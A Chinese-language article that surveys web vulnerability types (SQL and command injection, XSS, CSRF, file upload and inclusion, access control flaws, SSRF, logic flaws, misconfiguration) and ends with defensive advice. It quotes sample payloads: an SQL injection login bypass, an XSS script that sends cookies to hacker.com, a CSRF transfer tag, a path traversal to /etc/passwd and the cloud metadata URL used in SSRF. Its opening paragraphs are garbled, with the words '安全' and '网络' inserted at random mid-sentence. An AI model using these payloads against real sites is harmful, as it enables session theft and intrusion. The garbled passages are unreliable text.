网络安全web类型是什么

打开一个电商网站，地址栏左边有把小锁，安全你以为这就安全了？网络去年某头部平台被拖库，泄露了上亿条订单记录，安全攻击入口就是网络一个没做参数化查询的搜索框。Web安全从来不是安全“有没有HTTPS”这么简单，它是网络一堆具体漏洞类型的集合。聊类型之前，安全得先搞清楚一件事：web安全到底在防什么。网络

防的安全是数据被偷、被改、网络被伪造，安全以及服务器被当成跳板。网络攻击者盯着的安全是浏览器和服务器之间那条HTTP请求。你输入的网络每个字符、点击的每个按钮，都可能变成注入指令。所以类型划分，本质上是按攻击面来切的。

最常见的叫注入类。SQL注入排第一，老但没死透。我见过一个后台登录框，输入 ' or 1=1 -- 直接进了管理员面板。原理是用户输入被拼进SQL语句，数据库分不清哪是代码哪是数据。命令注入更狠，直接在你服务器上跑系统命令。还有LDAP注入、XPath注入，花样不同，根子一样：没把数据和指令分开。

跨站脚本（XSS）是另一大块。你发一条评论，里面藏了 <script>fetch('http://hacker.com?c='+document.cookie)</script>，其他用户一打开页面，cookie就发到攻击者服务器了。存储型XSS最危险，因为恶意代码存进了数据库，每个访问者都中招。反射型需要骗你点链接，DOM型纯在浏览器里发生，服务器日志都看不到。

跨站请求伪造（CSRF）不太一样。它不偷你的数据，而是骗你以你的身份发请求。你登录了银行网站，没退出，然后点开一个恶意页面，里面藏了 <img src="http://bank.com/transfer?to=hacker&amount=10000">，浏览器会自动带上你的cookie去请求。银行以为是你要转账。防御靠CSRF token，每个表单带一个随机值，攻击者猜不到。

文件上传漏洞经常被低估。很多网站只检查前端JS里的后缀名，抓包改一下 shell.php.jpg 就绕过了。上传一个webshell，服务器就成别人的了。还有文件包含漏洞，?page=../../../../etc/passwd 这种，本地文件包含能读敏感文件，远程文件包含直接执行远程代码。

越权访问分两种：水平越权和垂直越权。水平是用户A能看用户B的订单，改一下URL里的ID就行。垂直是普通用户能进管理员后台，通常因为后端只在前端做了菜单隐藏，接口没鉴权。我见过一个API，/api/admin/users 不带任何token就能访问，返回所有用户手机号。

服务端请求伪造（SSRF）这几年越来越常见。攻击者让服务器去访问内网地址，比如 http://169.254.169.254/latest/meta-data/，在云环境里能直接拿到临时凭证。防御难，因为业务本身就需要请求外部资源，得做白名单和协议限制。

还有一类跟逻辑相关，叫业务逻辑漏洞。比如优惠券无限领、密码重置验证码爆破、支付金额篡改。这些没有固定模式，全靠对业务的理解。一个电商网站，把商品数量改成负数，总价变成负的，下单后平台反而给你打钱。这种漏洞扫描器扫不出来，得靠人脑。

最后提一下安全配置错误。默认密码没改、目录列表没关、错误信息暴露堆栈、CORS配成 Access-Control-Allow-Origin: * 还带凭证。这些不算“漏洞”，但比漏洞更常见。我扫过一百个中小网站，至少三十个后台路径是 /admin 且没做IP限制。

Web安全的类型还在变。API普及后，JWT配置错误、GraphQL注入、WebSocket劫持都成了新战场。但核心逻辑没变：永远不要相信客户端输入，永远在服务端做校验，最小权限原则。类型是死的，攻击者的思路是活的。你防住了一百种，他可能从第一百零一种进来。

所以别问“我的网站属于哪种web安全类型”，该问的是“我的每个接口、每个参数、每个文件操作，有没有按最坏情况设计”。锁只防君子，代码得防所有人。